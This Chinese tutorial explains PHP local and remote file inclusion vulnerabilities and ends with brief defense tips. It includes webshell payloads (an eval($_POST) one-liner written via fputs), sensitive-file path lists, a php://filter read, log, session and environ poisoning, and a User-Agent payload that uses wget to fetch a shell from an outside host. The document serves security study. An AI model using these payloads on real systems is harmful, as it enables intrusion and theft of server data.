几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP、ASP中十分少甚至没有,问题在于语言设计的弊端。
PHP包含
一、文件包含原理
PHP中提供了四个文件包含的函数,分别是include()、include_once()、require()和require_once()。这四个函数都可以进行文件包含,但作用并不一样。
- require:找不到被包含的文件时会产生致命错误,并停止脚本。
- include:找不到被包含的文件时只会产生警告,脚本将继续执行。
- include_once:和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
- require_once:和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
二、文件包含分类
PHP中的文件包含分为本地包含和远程包含。
(一)本地包含 Local File Include (LFI)
1、所包含文件内容符合PHP语法规范:任何扩展名都可以被PHP解析。
2、包含非PHP语法规范源文件,会暴露其源代码。
(二)远程包含 Remote File Include (RFI)
如果要使用远程包含功能,首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。
远程包含与本地包含没有区别,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。
三、文件包含利用
(一)读取敏感文件
常见的敏感信息路径:
1⃣️:Windows系统。
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置文件
......
2⃣️:Linux系统。
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql的配置文件
......
(二)远程包含shell
*allow_url_fopen选项是激活的,可以尝试远程包含一句话木马。
访问http://www.xxx.xom/index.php?page=http://www.xiao.xn/echo.txt,
远程http://www.xiao.xn/下的echo.txt文件内容为:
<?fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
(三)本地包含配合文件上传
上传一句话图片木马,得知图片路径(/upload/1.jpg),图片代码为<?fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>,访问http://www.xxx.xom/index.php?page=./upload/1.jpg,包含这张图片并在index.php所在目录生成shell.php。
(四)使用PHP封装协议
PHP带有很多内置URL风格的封装协议,这类协议与fopen()、copy()、file_exists()、file size()等文件系统函数所提供的功能类似。
1、使用封装协议读取PHP文件:
- http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
2、写入PHP文件:
(五)包含Apache日志文件
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。
日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access log
(2) apache+win2003日志默认路径
(3) IIS6.0+win2003默认日志文件 C:WINDOWSsystem32Logfiles
(4) IIS7.0+win2003 默认日志文件 %SystemDrive%inetpublogsLogFiles
(5) nginx 日志文件在用户安装目录的logs目录下 如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里 也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)
web中间件默认配置
(1) apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件 C:WindowsSystem32inetsrvconfigapplicationHost.config
(六)截断包含
只适用于magic_quotes_gpc=off的情况,如果为on,%00(NULL)将会被转义,从而无法正常截断。
(七)绕过WAF防火墙
(八)包含session
- 利用条件:session文件路径已知,且其中内容部分可控。
- PHP默认生成的Session文件往往存放在/tmp目录下 /tmp/sess_SESSIONID ?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
- (session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类 的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个 shell)
(九)包含/proc/self/environ文件
- 利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
- 姿势:
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。 之后再包含它,即可。
?file=../../../../../../../proc/self/environ 选择User-Agent
写代码如下:
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
然后提交请求。
(十)包含临时文件
image.png
- php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临 时文件被删除之前,利用竞争即可包含该临时文件。
- 由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有 65535中不同的文件名,所以这个方法是可行的。另一种方法phpinfo来获取临时文件的路径以及名称,然后临时文 件在极短时间被删除的时候,需要竞争时间包含临时文件拿到webshell。
详见:https://blog.csdn.net/qq_33020901/article/details/78801079
JSP包含
文件包含漏洞防御
1、严格判断包含中的参数是否外部可控。
2、路径限制
3、包含文件验证
4、尽量不要使用动态包含,可以在需要包含的页面固定写好
绕过有防御的本地文件包含
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
这段代码指定了前缀和后缀:这样就很“难”直接去包含前面提到的种种文件。
绕过有防御的远程文件包含
<?php
$basePath = $_GET['path'];
require_once $basePath . "/action/m_share.php";
?>
网友评论